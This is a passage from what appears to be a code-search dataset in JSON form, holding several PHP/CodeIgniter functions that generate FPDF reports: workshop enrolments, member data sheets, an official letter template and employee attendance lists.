$this->pdf->Cell(15,7,utf8_decode('NÚM'),'TBL',0,'C','1');\n $this->pdf->Cell(75,7,utf8_decode('USUARI / USUÀRIA'),'TBR',0,'L','1');\n $this->pdf->Cell(30,7,'NOMBRE TALLERS','TBR',0,'C','1');\n $this->pdf->Cell(25,7,iconv('UTF-8', 'windows-1252', 'PAGAT (€)'),'TBR',0,'C',1);\n $this->pdf->Ln(7);\n }\n $this->pdf->Cell(15,5,$socio['id_socio'],'BL',0,'C',0);\n //$this->pdf->Cell(15,5,$x,'BL',0,'C',0);\n $x++;\n // Se imprimen los datos de cada alumno\n $this->pdf->Cell(75,5,utf8_decode($socio['apellidos'].', '.$socio['nombre_socio']),'BLR',0,'L',0);\n $this->pdf->Cell(30,5,$socio['num_talleres']==0?'':$socio['num_talleres'].' ','BLR',0,'R',0);\n $this->pdf->Cell(25,5,$socio['totalPagado']==0?'0 ':$socio['totalPagado'].' ','BLR',0,'R',0);\n //Se agrega un salto de linea\n $this->pdf->Ln(5);\n $num+=$socio['num_talleres'];\n $numSocios++;\n $total+=$socio['totalPagado'];\n }\n $this->pdf->Ln(1);\n $this->pdf->Cell(15,5,'','TBLR',0,'C',0);\n //$this->pdf->Cell(20,5,'2016-2017','BL',0,'C',0);\n\n // Se imprimen los datos de cada alumno\n $this->pdf->Cell(75,5,$numSocios,'TBLR',0,'L',0);\n $this->pdf->Cell(30,5,$num.' ','TBLR',0,'R',0);\n $this->pdf->Cell(25,5,$total.' ','TBLR',0,'R',0);\n //Se agrega un salto de linea\n $this->pdf->Ln(5);\n \n \n /*\n * Se manda el pdf al navegador\n *\n * $this->pdf->Output(nombredelarchivo, destino);\n *\n * I = Muestra el pdf en el navegador\n * D = Envia el pdf para descarga\n *\n */\n $this->pdf->Output(\"Socios Inscritos \".$this->talleres_model->getNombreCurso($curso).\".pdf\", 'D');\n echo json_encode('hola');\n }", "title": "" }, { "docid": "a06c457b922ed28b25d98aa2beddb101", "score": "0.7621957", "text": "function RsolicitudAlta($model){\n $pdf = new FPDF();\n $pdf->AddPage();\n \n $pdf->Image($this->base.\"assets/images/logo.png\",10,8,185,32);\n \n $pdf->SetFont('Arial','B',10);\n $pdf->ln(35);\n \n $pdf->cell(105);\n \n // Información de cabecera parte derecha\n \n $pdf->Cell(30,5,utf8_decode('Oficio No.'),0,0,\"R\");\n $pdf->SetFont('Arial','',10);\n \n $pdf->Cell(30,5,utf8_decode('{Número de folio}'));\n $pdf->Ln();\n $pdf->SetFont('Arial','B',10);\n $pdf->cell(100);\n $pdf->Cell(30,5,'Asunto:',0,0,\"R\");\n $pdf->SetFont('Arial','',10);\n $pdf->Cell(30,5,utf8_decode('Se notifica tramite solicitado'));\n $pdf->Ln();\n $pdf->cell(107);\n $pdf->Cell(30,5,utf8_decode('{Fecha formato: Colima, Colima , a 25 de Junio de 2018}'));\n $pdf->Ln(10);\n \n \n // Datos del remitente\n $pdf->SetFont('Arial','B',10);\n \n $pdf->Cell(30,5,utf8_decode('{Nombre al que va dirigido el oficio},'));\n $pdf->Ln();\n \n $pdf->Cell(30,5,utf8_decode('{Cargo al que va dirigido el oficio},'));\n $pdf->Ln();\n \n $pdf->Cell(30,5,utf8_decode('PRESENTE.'));\n $pdf->Ln(10);\n \n // Comunicado\n $pdf->SetFont('Arial','',10);\n \n \n $pdf->MultiCell(185,5,utf8_decode(\"De conformidad a las atribuciones que me confiere en numeral 19, 20 y además relativos a la ley del sistema de Seguridad Pública para el Estado de Colima y en atención al oficio no. {Respuesta al oficio número}, {Fecha que se emitió el oficio} del año {Año}, en el cual se solicita realizar los movimientos de alta, como {Tipo de elemento}, en el para el registro de personal al Registro Nacional de Personal de Seguridad Pública (RNPSP) a los elementos que a continuación se enlistan: \"));\n \n $pdf->Ln(5);\n $pdf->SetFont('Arial','B',10);\n \n $pdf->Cell(30,5,utf8_decode('PEP'));\n \n // Tabla \n \n $pdf->Ln(10);\n $pdf->cell(10);\n \n // Headers\n $pdf->Cell(8,7,\"No.\",1);\n $pdf->Cell(72,7,\"Nombre\",1);\n $pdf->Cell(8,7,\"No.\",1);\n $pdf->Cell(72,7,\"Nombre\",1);\n $pdf->Ln();\n // Data\n $pdf->SetFont('Arial','',7);\n $pdf->cell(10);\n $pdf->Cell(8,6,1,1);\n $pdf->Cell(72,6,\"\",1);\n $pdf->Cell(8,6,4,1);\n $pdf->Cell(72,6,\"\",1);\n $pdf->Ln();\n $pdf->cell(10);\n $pdf->Cell(8,6,1,1);\n $pdf->Cell(72,6,\"\",1);\n $pdf->Cell(8,6,4,1);\n $pdf->Cell(72,6,\"\",1);\n $pdf->Ln();\n $pdf->cell(10);\n $pdf->Cell(8,6,1,1);\n $pdf->Cell(72,6,\"\",1);\n $pdf->Cell(8,6,4,1);\n $pdf->Cell(72,6,\"\",1);\n $pdf->Ln(10);\n $pdf->SetFont('Arial','',10);\n $pdf->MultiCell(185,5,utf8_decode('Al respecto hago de su conocimiento que se han llevado a cabo los trámties solicitados, adjunto constancias de dichos movimientos'));\n $pdf->Ln(10);\n $pdf->Cell(30,5,utf8_decode('Sin otro particular, hago propicia la ocasión para hacerle llegar un cordial saludo'));\n $pdf->Ln(10);\n $pdf->SetFont('Arial','B',8);\n $pdf->Cell(0, 10, utf8_decode( 'A T E N T A M E N T E'), 0, 0, 'C');\n $pdf->Ln();\n\n $pdf->Cell(0, 0, utf8_decode('{Cargo}'), 0, 0, 'C');\n \n $pdf->Ln(15);\n $pdf->Cell(0, 20, utf8_decode( '{Nombre del encargado del despacho del secretariado ejecutivo del SESESP}'), 0, 0, 'C');\n \n \n $pdf->Ln();\n \n $pdf->SetFont('Arial','',8);\n $pdf->Cell(30,5,utf8_decode('C.c.p.'));\n $pdf->Ln(10);\n $pdf->SetFont('Arial','B',6);\n $pdf->Cell(30,5,utf8_decode('{nombre encargado del despacho}'));\n $pdf->SetFont('Arial','',6);\n $pdf->Cell(25);\n $pdf->Cell(30,5,utf8_decode('Encargado del despacho del Secretariado Ejecutivo del SESP'));\n $pdf->Ln();\n $pdf->SetFont('Arial','B',6);\n $pdf->Cell(30,5,utf8_decode('{Nombre del Subcoordinador}'));\n $pdf->SetFont('Arial','',6);\n $pdf->Cell(25);\n $pdf->Cell(30,5,utf8_decode('Subcoordinador de Sistemas de Información del SESESP.- Igual fin.'));\n $pdf->Ln();\n $pdf->SetFont('Arial','',6);\n $pdf->Cell(30,5,utf8_decode('Archivo.'));\n $pdf->Ln();\n $pdf->SetFont('Arial','',6);\n $pdf->Cell(30,5,utf8_decode('JACHG/HHCHD/NAVA'));\n \n $pdf->Ln(5);\n $pdf->Cell(52);\n $pdf->SetFont('Arial','',6);\n $pdf->Cell(30,5,utf8_decode('\"Año 2018. Centenario del natalicio del escritor mexicano y universal Juan José Arreola\"'));\n $pdf->Ln();\n $pdf->Image($this->base.\"assets/images/Cintillo.png\",72,253,65,1);\n \n $pdf->SetFont('Arial','',6);\n $pdf->Cell(64);\n $pdf->Cell(30,4,utf8_decode('Secretariado Ejecutivo del Sistema Estatal de Seguridad Pública'));\n $pdf->Ln();\n $pdf->Cell(57);\n $pdf->Cell(30,4,utf8_decode('C. Emilio Carranza Esq. Ejército Nacional S/N, Colonia Centro, C.P. 28000'));\n $pdf->Ln();\n $pdf->Cell(72);\n $pdf->Cell(30,4,utf8_decode('Colima, Colima, México. Tel. (312) 3162603'));\n $pdf->Ln();\n $pdf->Cell(69);\n $pdf->Cell(30,4,utf8_decode('https://www.secretariadoejecutivosesp.col.gob.mx'));\n \n \n $pdf->Output();\n }", "title": "" }, { "docid": "1ee169ddee2eb54d9ad122b0d62b88c0", "score": "0.7615424", "text": "public function laporanLambatSkrg()\n {\n // Tarik Database\n $today = gmdate(\"Y-m-d\", time()+60*60*7);\n $this->db->select('*');\n $this->db->from('tb_absensi');\n $this->db->join('tb_karyawan','tb_karyawan.id_kar=tb_absensi.id_kar','left');\n $this->db->join('tb_kontrak','tb_kontrak.email=tb_karyawan.email','left');\n $this->db->where('tb_absensi.tgl',$today);\n $this->db->where('tb_absensi.absen_status',\"2\");\n $this->db->where('tb_karyawan.id_jab !=',\"J000\");\n $this->db->order_by('id_absen','DESC');\n $datahdr = $this->db->get()->result();\n\n\n /* TEMPLATE HEADER */ // harus dipakai di setiap bentuk laporan\n $pdf = new PDF('P');\n $pdf->AddPage(); \n /* ./ TEMPLATE HEADER */ \n\n // CONTENT\n // Title Page\n $pdf->SetFont('Arial','',10);\n $pdf->SetTitle('BiasHRIS | Daftar Lambat Masuk ' . date('d M Y',strtotime($today)));\n\n // JUDUL FORM & No PEngajuan\n // $pdf->Cell(10,7,'',0,1);\n // $pdf->SetTextColor(0,0,0);\n $pdf->SetFont('Arial','B',12);\n $pdf->Cell(190,7,'Daftar Keterlambatan Hari Ini',0,1,'C');\n $pdf->Cell(190,7,'Tgl. '.date(\"d M Y\", strtotime($today)),0,1,'C');\n\n // Table\n // Header Table\n $pdf->SetLeftMargin('10');\n $pdf->Cell(190,7,'',0,1,'J');\n $pdf->SetFillColor(158, 156, 156);\n $pdf->SetLineWidth(.3);\n $pdf->SetFont('Arial','',12);\n $pdf->Cell(10,8,'No',1,0,'C',1);\n $pdf->Cell(25,8,'NIP',1,0,'C',1); \n $pdf->Cell(55,8,'Nama',1,0,'C',1);\n $pdf->Cell(25,8,'Masuk',1,0,'C',1);\n $pdf->Cell(35,8,'Terlambat',1,0,'C',1);\n $pdf->Cell(40,8,'Ip Address',1,1,'C',1);\n $no = 1;\n foreach ($datahdr as $data){\n $jmIn = date_create($data->jam_masuk);//jam realtime karyawan masuk\n $jmDef = date_create('8:00:00'); //defualt jam masuk\n $jmFdy = date_create('07:30:00'); //default jam masuk hari jumat\n if($data->hari ==\"Friday\"){\n $beda = date_diff($jmIn,$jmFdy);\n }else {\n $beda = date_diff($jmIn,$jmDef);}\n // echo $beda->h,'jam, '. $beda->i.'menit';\n\n $pdf->Cell(10,7,$no++,1,0,'C');\n $pdf->Cell(25,7,$data->nip,1,0,'C');\n $pdf->Cell(55,7,$data->fullname,1,0,'C');\n $pdf->Cell(25,7,$data->jam_masuk,1,0,'C');\n $pdf->Cell(35,7,$beda->h.'jam, '. $beda->i.'menit',1,0,'C');\n $pdf->Cell(40,7,$data->ipaddress,1,1,'C');\n }\n\n /** TEMPLATE FOOTER dan output */ // harus dipakai di setiap bentuk laporan\n $pdf->AliasNbPages();\n $pdf->Output();\n /** ./ TEMPLATE FOOTER dan output */\n }", "title": "" }, { "docid": "3c77628a72fc3d96262a7e8374a7333f", "score": "0.7584615", "text": "function pdflap1()\n\t{\n\n\t\t$t_awal=$this->uri->segment(3);\n\t\t//echo \"</br>\";\n\t\t$t_akhir=$this->uri->segment(4);\n\t\t//echo \"</br>\";\n\n\t\t$verik = \"\";\n $jumlah_upp=\"\";\n \n\t\t$temp_rec = $this->laporan_model->getdatelist($t_awal,$t_akhir);\n\t\t//$temp_rec2 = $this->app_model->gettotal_master($bln,$thn,$cab);\n\t\t$num_rows = $temp_rec->num_rows();\n\n\t\tif($num_rows > 0) // jika data ada di database\n\t\t{\n\t\t $this->load->helper('print_rekap_helper');\n\t\t // memanggil (instantiasi) class reportProduct di file print_rekap_helper.php\n\t\t $a=new reportProduct();\n\t\t // anda dapat membuat report lainnya dalam satu file print_rekap_helper.php\n\t\t // dengan cukup mengubah setKriteria dan membuat kondisi (elseif) di file print_rekap_helper.php\n\t\t $a->setKriteria(\"transaksi\");\n\t\t // judul report\n\t\t //$a->setNama(\"DATA TRANSAKSI UNTUK BARANG \".$kodebarang);\n\t\t // buat halaman\n\t\t $a->AliasNbPages();\n\t\t // Potrait ukuran A4\n\t\t //$a->SetAutoPageBreak(0 , 30);\n\t\t $a->AddPage(\"L\",\"A4\");\n\n\t\t // ambil data dari database\n\t\t $data=$temp_rec->row();\n\t\t //$total=$temp_rec2->row();\n\n\t\t //$a->Ln(2); // spasi enter\n\t\t $a->SetFont('Arial','B',14); // set font,size,dan properti (B=Bold)\n\t\t //$a->Cell(50,4,\"PT Berdikari (Persero)\",0,1,'C');\n\t\t // $a->Cell(50,4,'CABANG '.$data->nama_cabang,0,1,'C');\n\t\t $a->Ln(3);\n\t\t \n\t\t $a->Ln(2); // spasi enter\n\t\t $a->SetFont('times','B',12); // set font,size,dan properti (B=Bold)\n\t\t //$a->Cell(200,5,\"LAPORAN REKAPITULASI TUNJANGAN TRANSPORTASI BULAN \". $bulan.\" \",$thn,1,1,'L');\n\t\t $a->Cell(0,6,\"REKAP SETORAN DINAS COUNTER TERMINAL BANDARA \",0,1,'C');\n\t\t $a->Cell(0,6,\"PERIODE \". $t_awal .\" s/d \".$t_akhir,0,1,'C');\n\t\t $a->Ln(7);\n\n\t\t $a->SetFont('times','',9);\n\t\t // set lebar tiap kolom tabel transaksi\n\t\t $a->SetWidths(array(7,15,130,15,10,10));\n\t\t // set align tiap kolom tabel transaksi\n\t\t $a->SetAligns(array(\"C\",\"L\",\"L\",\"C\",\"C\",\"C\"));\n\t\t $a->SetFont('times','B',9);\n\n\t\t // set nama header tabel transaksi\n\t\t\t$a->Cell(20,5,\"tanggal\",1,0,'C');\n foreach($this->member_model->getMasterFilter('trayek','deleted_at IS NULL','id_trayek','asc')->result_array() as $r) {\n\t\t\t$a->Cell(25,5,$r['nama_trayek'],1,0,'C');\n }\n\t\t\t$a->Ln(5);\n\t\t $a->SetFont('times','',8);\n\t\t\n\t\t $rec = $temp_rec->result();\n\t\t $n=1;\n \n foreach($rec as $row)\n {\n \n $a->Cell(10,5,$n,'LB',0,'C');\n\t\t\t$a->Cell(10,5,\"test\",'LB',0,'C'); \n $a->Ln(5);\n $n++;\n\n }\n\t\t $a->Output();\n\t\t}\n\t\telse // jika data kosong\n\t\t{\n\t\t redirect('report');\n\t\t}\n\t\t\n\t\n\t\texit(); \n\t}", "title": "" }, { "docid": "f949736186b6a843ce30e5a5c69d8504", "score": "0.75823236", "text": "public function pdfSocio($socio)\n {\n $this->load->model('socios_model');\n // Se carga la libreria fpdf\n $this->load->library('pdf');\n \n //$curso=2;//$_POST['curso'];\n // Se obtienen los alumnos de la base de datos\n $resultSocio = $this->socios_model->getSocio($socio);\n //var_dump($talleres);\n \n // Creacion del PDF\n \n /*\n * Se crea un objeto de la clase Pdf, recuerda que la clase Pdf\n * heredó todos las variables y métodos de fpdf\n */\n $this->pdf = new Pdf();\n \n $this->pdf->setSubtitulo('Ficha socio');\n // Agregamos una página\n $this->pdf->AddPage();\n // Define el alias para el número de página que se imprimirá en el pie\n $this->pdf->AliasNbPages();\n \n /* Se define el titulo, márgenes izquierdo, derecho y\n * el color de relleno predeterminado\n */\n $this->pdf->SetTitle(\"Datos socio=\");\n $this->pdf->SetLeftMargin(15);\n $this->pdf->SetRightMargin(15);\n $this->pdf->SetFillColor(200,200,200);\n \n // Se define el formato de fuente: Arial, negritas, tamaño 9\n $this->pdf->SetFont('Arial', '', 14);\n \n \n //$this->pdf->Ln(2);\n // La variable $x se utiliza para mostrar un número consecutivo\n $h = 8;\n $this->pdf->SetFont('Arial', '', 14);\n $this->pdf->Cell(75,$h,utf8_decode('Número socio'),'',0,'L',0);\n $this->pdf->SetFont('Arial', 'B', 14);\n $this->pdf->Cell(75,$h,utf8_decode($socio),'',1,'L',0);\n \n $this->pdf->SetFont('Arial', '', 14);\n $this->pdf->Cell(75,$h,utf8_decode('Nombre'),'',0,'L',0);\n $this->pdf->SetFont('Arial', 'B', 14);\n $this->pdf->Cell(75,$h,utf8_decode($resultSocio->nombre),'',1,'L',0);\n \n $this->pdf->SetFont('Arial', '', 14);\n $this->pdf->Cell(75,$h,utf8_decode('Apellidos'),'',0,'L',0);\n $this->pdf->SetFont('Arial', 'B', 14);\n $this->pdf->Cell(75,$h,utf8_decode($resultSocio->apellidos),'',1,'L',0);\n \n $this->pdf->SetFont('Arial', '', 14);\n $this->pdf->Cell(75,$h,utf8_decode('Dirección'),'',0,'L',0);\n $this->pdf->SetFont('Arial', 'B', 14);\n $this->pdf->Cell(75,$h,utf8_decode($resultSocio->direccion),'',1,'L',0);\n \n $this->pdf->SetFont('Arial', '', 14);\n $this->pdf->Cell(75,$h,utf8_decode('Códico Postal'),'',0,'L',0);\n $this->pdf->SetFont('Arial', 'B', 14);\n $this->pdf->Cell(75,$h,utf8_decode($resultSocio->codigo_postal),'',1,'L',0);\n \n $this->pdf->SetFont('Arial', '', 14);\n $this->pdf->Cell(75,$h,utf8_decode('Poblacion'),'',0,'L',0);\n $this->pdf->SetFont('Arial', 'B', 14);\n $this->pdf->Cell(75,$h,utf8_decode($resultSocio->poblacion),'',1,'L',0);\n \n $this->pdf->SetFont('Arial', '', 14);\n $this->pdf->Cell(75,$h,utf8_decode('Provincia'),'',0,'L',0);\n $this->pdf->SetFont('Arial', 'B', 14);\n $this->pdf->Cell(75,$h,utf8_decode($resultSocio->provincia),'',1,'L',0);\n \n $this->pdf->SetFont('Arial', '', 14);\n $this->pdf->Cell(75,$h,utf8_decode('DNI/NIF/PAS'),'',0,'L',0);\n $this->pdf->SetFont('Arial', 'B', 14);\n $this->pdf->Cell(75,$h,utf8_decode($resultSocio->dni),'',1,'L',0);\n \n $this->pdf->SetFont('Arial', '', 14);\n $this->pdf->Cell(75,$h,utf8_decode('Teléfono 1'),'',0,'L',0);\n $this->pdf->SetFont('Arial', 'B', 14);\n $telefono=trim($resultSocio->telefono_1);\n $telefono=str_replace('-','',$telefono);\n $telefono=str_replace('.','',$telefono);\n $telefono=str_replace(',','',$telefono);\n if(strlen($telefono)==9) $telefono=substr($telefono,0,3).' '.substr($telefono,3,3).' '.substr($telefono,6,3);\n $this->pdf->Cell(75,$h,utf8_decode($telefono),'',1,'L',0);\n \n $this->pdf->SetFont('Arial', '', 14);\n $this->pdf->Cell(75,$h,utf8_decode('Teléfono 2'),'',0,'L',0);\n $this->pdf->SetFont('Arial', 'B', 14);\n $telefono=trim($resultSocio->telefono_2);\n $telefono=str_replace('-','',$telefono);\n $telefono=str_replace('.','',$telefono);\n $telefono=str_replace(',','',$telefono);\n if(strlen($telefono)==9) $telefono=substr($telefono,0,3).' '.substr($telefono,3,3).' '.substr($telefono,6,3);\n $this->pdf->Cell(75,$h,utf8_decode($telefono),'',1,'L',0);\n \n \n $this->pdf->SetFont('Arial', '', 14);\n $this->pdf->Cell(75,$h,utf8_decode('Fecha nacimiento'),'',0,'L',0);\n $this->pdf->SetFont('Arial', 'B', 14);\n $fecha_nacimiento=$resultSocio->fecha_nacimiento;\n $fecha_nacimiento=substr($fecha_nacimiento,8,2).'/'.substr($fecha_nacimiento,5,2).'/'.substr($fecha_nacimiento,0,4);\n if($fecha_nacimiento=='//') $fecha_nacimiento='';\n $this->pdf->Cell(75,$h,utf8_decode($fecha_nacimiento),'',1,'L',0);\n \n $this->pdf->SetFont('Arial', '', 14);\n $this->pdf->Cell(75,$h,utf8_decode('Fecha alta'),'',0,'L',0);\n $this->pdf->SetFont('Arial', 'B', 14);\n $fecha_alta=$resultSocio->fecha_alta;\n $fecha_alta=substr($fecha_alta,8,2).'/'.substr($fecha_alta,5,2).'/'.substr($fecha_alta,0,4);\n if($fecha_alta=='//') $fecha_alta='';\n $this->pdf->Cell(75,$h,utf8_decode($fecha_alta),'',1,'L',0);\n \n \n $this->pdf->SetFont('Arial', '', 14);\n $this->pdf->Cell(75,$h,utf8_decode('Fecha modificación'),'',0,'L',0);\n $this->pdf->SetFont('Arial', 'B', 14);\n $fecha_modificacion=$resultSocio->fecha_modificacion;\n $fecha_modificacion=substr($fecha_modificacion,8,2).'/'.substr($fecha_modificacion,5,2).'/'.substr($fecha_modificacion,0,4);\n if($fecha_modificacion=='//') $fecha_modificacion='';\n $this->pdf->Cell(75,$h,utf8_decode($fecha_modificacion),'',1,'L',0);\n \n $this->pdf->SetFont('Arial', '', 14);\n $this->pdf->Cell(75,$h,utf8_decode('Fecha baja'),'',0,'L',0);\n $this->pdf->SetFont('Arial', 'B', 14);\n $fecha_baja=$resultSocio->fecha_baja;\n $fecha_baja=substr($fecha_baja,8,2).'/'.substr($fecha_baja,5,2).'/'.substr($fecha_baja,0,4);\n if($fecha_baja=='//' || $fecha_baja=='00/00/0000') $fecha_baja='';\n $this->pdf->Cell(75,$h,utf8_decode($fecha_baja),'',1,'L',0);\n \n $this->pdf->SetFont('Arial', '', 14);\n $this->pdf->Cell(75,$h,utf8_decode('Comentarios'),'',0,'L',0);\n $this->pdf->SetFont('Arial', 'B', 14);\n $this->pdf->Cell(75,$h,utf8_decode($resultSocio->comentarios),'',1,'L',0);\n \n \n $this->pdf->Ln(5);\n \n \n \n \n \n /*\n * Se manda el pdf al navegador\n *\n * $this->pdf->Output(nombredelarchivo, destino);\n *\n * I = Muestra el pdf en el navegador\n * D = Envia el pdf para descarga\n *\n */\n $this->pdf->Output(\"Socio \".$socio.\".pdf\", 'D');\n }", "title": "" }, { "docid": "8173bde31ea2a71081247d18ff434811", "score": "0.7581028", "text": "public function pdfSocioAniversario($socio)\n {\n $this->load->model('socios_model');\n // Se carga la libreria fpdf\n $this->load->library('pdf');\n \n //$curso=2;//$_POST['curso'];\n // Se obtienen los alumnos de la base de datos\n $resultSocio = $this->socios_model->getSocio($socio);\n //var_dump($talleres);\n \n // Creacion del PDF\n \n /*\n * Se crea un objeto de la clase Pdf, recuerda que la clase Pdf\n * heredó todos las variables y métodos de fpdf\n */\n $this->pdf = new Pdf();\n \n $this->pdf->setSubtitulo('Ficha socio');\n // Agregamos una página\n $this->pdf->AddPage();\n // Define el alias para el número de página que se imprimirá en el pie\n $this->pdf->AliasNbPages();\n \n /* Se define el titulo, márgenes izquierdo, derecho y\n * el color de relleno predeterminado\n */\n $this->pdf->SetTitle(\"Datos socio \");\n $this->pdf->SetLeftMargin(15);\n $this->pdf->SetRightMargin(15);\n $this->pdf->SetFillColor(200,200,200);\n \n // Se define el formato de fuente: Arial, negritas, tamaño 9\n $this->pdf->SetFont('Arial', '', 14);\n \n \n //$this->pdf->Ln(2);\n // La variable $x se utiliza para mostrar un número consecutivo\n $h = 8;\n $this->pdf->SetFont('Arial', '', 14);\n $this->pdf->Cell(75,$h,utf8_decode('Número socio'),'',0,'L',0);\n $this->pdf->SetFont('Arial', 'B', 14);\n $this->pdf->Cell(75,$h,utf8_decode($socio),'',1,'L',0);\n \n $this->pdf->SetFont('Arial', '', 14);\n $this->pdf->Cell(75,$h,utf8_decode('Nombre'),'',0,'L',0);\n $this->pdf->SetFont('Arial', 'B', 14);\n $this->pdf->Cell(75,$h,utf8_decode($resultSocio->nombre),'',1,'L',0);\n \n $this->pdf->SetFont('Arial', '', 14);\n $this->pdf->Cell(75,$h,utf8_decode('Apellidos'),'',0,'L',0);\n $this->pdf->SetFont('Arial', 'B', 14);\n $this->pdf->Cell(75,$h,utf8_decode($resultSocio->apellidos),'',1,'L',0);\n \n $this->pdf->SetFont('Arial', '', 14);\n $this->pdf->Cell(75,$h,utf8_decode('Dirección'),'',0,'L',0);\n $this->pdf->SetFont('Arial', 'B', 14);\n $this->pdf->Cell(75,$h,utf8_decode($resultSocio->direccion),'',1,'L',0);\n \n $this->pdf->SetFont('Arial', '', 14);\n $this->pdf->Cell(75,$h,utf8_decode('Códico Postal'),'',0,'L',0);\n $this->pdf->SetFont('Arial', 'B', 14);\n $this->pdf->Cell(75,$h,utf8_decode($resultSocio->codigo_postal),'',1,'L',0);\n \n $this->pdf->SetFont('Arial', '', 14);\n $this->pdf->Cell(75,$h,utf8_decode('Poblacion'),'',0,'L',0);\n $this->pdf->SetFont('Arial', 'B', 14);\n $this->pdf->Cell(75,$h,utf8_decode($resultSocio->poblacion),'',1,'L',0);\n \n $this->pdf->SetFont('Arial', '', 14);\n $this->pdf->Cell(75,$h,utf8_decode('Provincia'),'',0,'L',0);\n $this->pdf->SetFont('Arial', 'B', 14);\n $this->pdf->Cell(75,$h,utf8_decode($resultSocio->provincia),'',1,'L',0);\n \n $this->pdf->SetFont('Arial', '', 14);\n $this->pdf->Cell(75,$h,utf8_decode('DNI/NIF/PAS'),'',0,'L',0);\n $this->pdf->SetFont('Arial', 'B', 14);\n $this->pdf->Cell(75,$h,utf8_decode($resultSocio->dni),'',1,'L',0);\n \n $this->pdf->SetFont('Arial', '', 14);\n $this->pdf->Cell(75,$h,utf8_decode('Teléfono 1'),'',0,'L',0);\n $this->pdf->SetFont('Arial', 'B', 14);\n $telefono=trim($resultSocio->telefono_1);\n $telefono=str_replace('-','',$telefono);\n $telefono=str_replace('.','',$telefono);\n $telefono=str_replace(',','',$telefono);\n if(strlen($telefono)==9) $telefono=substr($telefono,0,3).' '.substr($telefono,3,3).' '.substr($telefono,6,3);\n $this->pdf->Cell(75,$h,utf8_decode($telefono),'',1,'L',0);\n \n $this->pdf->SetFont('Arial', '', 14);\n $this->pdf->Cell(75,$h,utf8_decode('Teléfono 2'),'',0,'L',0);\n $this->pdf->SetFont('Arial', 'B', 14);\n $telefono=trim($resultSocio->telefono_2);\n $telefono=str_replace('-','',$telefono);\n $telefono=str_replace('.','',$telefono);\n $telefono=str_replace(',','',$telefono);\n if(strlen($telefono)==9) $telefono=substr($telefono,0,3).' '.substr($telefono,3,3).' '.substr($telefono,6,3);\n $this->pdf->Cell(75,$h,utf8_decode($telefono),'',1,'L',0);\n \n \n $this->pdf->SetFont('Arial', '', 14);\n $this->pdf->Cell(75,$h,utf8_decode('Fecha nacimiento'),'',0,'L',0);\n $this->pdf->SetFont('Arial', 'B', 14);\n $fecha_nacimiento=$resultSocio->fecha_nacimiento;\n $fecha_nacimiento=substr($fecha_nacimiento,8,2).'/'.substr($fecha_nacimiento,5,2).'/'.substr($fecha_nacimiento,0,4);\n if($fecha_nacimiento=='//') $fecha_nacimiento='';\n $this->pdf->Cell(75,$h,utf8_decode($fecha_nacimiento),'',1,'L',0);\n \n $this->pdf->SetFont('Arial', '', 14);\n $this->pdf->Cell(75,$h,utf8_decode('Fecha alta'),'',0,'L',0);\n $this->pdf->SetFont('Arial', 'B', 14);\n $fecha_alta=$resultSocio->fecha_alta;\n $fecha_alta=substr($fecha_alta,8,2).'/'.substr($fecha_alta,5,2).'/'.substr($fecha_alta,0,4);\n if($fecha_alta=='//') $fecha_alta='';\n $this->pdf->Cell(75,$h,utf8_decode($fecha_alta),'',1,'L',0);\n \n \n $this->pdf->SetFont('Arial', '', 14);\n $this->pdf->Cell(75,$h,utf8_decode('Fecha modificación'),'',0,'L',0);\n $this->pdf->SetFont('Arial', 'B', 14);\n $fecha_modificacion=$resultSocio->fecha_modificacion;\n $fecha_modificacion=substr($fecha_modificacion,8,2).'/'.substr($fecha_modificacion,5,2).'/'.substr($fecha_modificacion,0,4);\n if($fecha_modificacion=='//') $fecha_modificacion='';\n $this->pdf->Cell(75,$h,utf8_decode($fecha_modificacion),'',1,'L',0);\n \n $this->pdf->SetFont('Arial', '', 14);\n $this->pdf->Cell(75,$h,utf8_decode('Fecha baja'),'',0,'L',0);\n $this->pdf->SetFont('Arial', 'B', 14);\n $fecha_baja=$resultSocio->fecha_baja;\n $fecha_baja=substr($fecha_baja,8,2).'/'.substr($fecha_baja,5,2).'/'.substr($fecha_baja,0,4);\n if($fecha_baja=='//' || $fecha_baja=='00/00/0000') $fecha_baja='';\n $this->pdf->Cell(75,$h,utf8_decode($fecha_baja),'',1,'L',0);\n \n $this->pdf->SetFont('Arial', '', 14);\n $this->pdf->Cell(75,$h,utf8_decode('Comentarios'),'',0,'L',0);\n $this->pdf->SetFont('Arial', 'B', 14);\n $this->pdf->Cell(75,$h,utf8_decode($resultSocio->comentarios),'',1,'L',0);\n \n \n $this->pdf->Ln(5);\n \n \n \n \n \n /*\n * Se manda el pdf al navegador\n *\n * $this->pdf->Output(nombredelarchivo, destino);\n *\n * I = Muestra el pdf en el navegador\n * D = Envia el pdf para descarga\n *\n */\n $this->pdf->Output(\"Socio \".$socio.\".pdf\", 'D');\n }", "title": "" }, { "docid": "74340e778eace1c7a7ba952aca879767", "score": "0.7566375", "text": "public function laporanHadirSkrg()\n {\n // Tarik Database\n $today = gmdate(\"Y-m-d\", time()+60*60*7);\n $this->db->select('*');\n $this->db->from('tb_absensi');\n $this->db->join('tb_karyawan','tb_karyawan.id_kar=tb_absensi.id_kar','left');\n $this->db->join('tb_kontrak','tb_kontrak.email=tb_karyawan.email','left');\n $this->db->where('tb_absensi.tgl',$today);\n $this->db->where('tb_karyawan.id_jab !=',\"J000\");\n $this->db->order_by('id_absen','DESC');\n $datahdr = $this->db->get()->result();\n\n\n /* TEMPLATE HEADER */ // harus dipakai di setiap bentuk laporan\n $pdf = new PDF('P');\n $pdf->AddPage(); \n /* ./ TEMPLATE HEADER */ \n\n // CONTENT\n // Title Page\n $pdf->SetFont('Arial','',10);\n $pdf->SetTitle('BiasHRIS | Daftar Hadir ' . date('d M Y',strtotime($today)));\n\n // JUDUL FORM & No PEngajuan\n // $pdf->Cell(10,7,'',0,1);\n // $pdf->SetTextColor(0,0,0);\n $pdf->SetFont('Arial','B',12);\n $pdf->Cell(190,7,'Daftar Kehadiran Hari Ini',0,1,'C');\n $pdf->Cell(190,7,'Tgl. '.date(\"d M Y\", strtotime($today)),0,1,'C');\n\n // Table\n // Header Table\n $pdf->SetLeftMargin('20');\n $pdf->Cell(190,7,'',0,1,'J');\n $pdf->SetFillColor(158, 156, 156);\n $pdf->SetLineWidth(.3);\n $pdf->SetFont('Arial','',12);\n $pdf->Cell(15,8,'No',1,0,'C',1);\n $pdf->Cell(30,8,'NIP',1,0,'C',1); \n $pdf->Cell(55,8,'Nama',1,0,'C',1);\n $pdf->Cell(30,8,'Masuk',1,0,'C',1);\n $pdf->Cell(40,8,'Ip Address',1,1,'C',1);\n $no = 1;\n foreach ($datahdr as 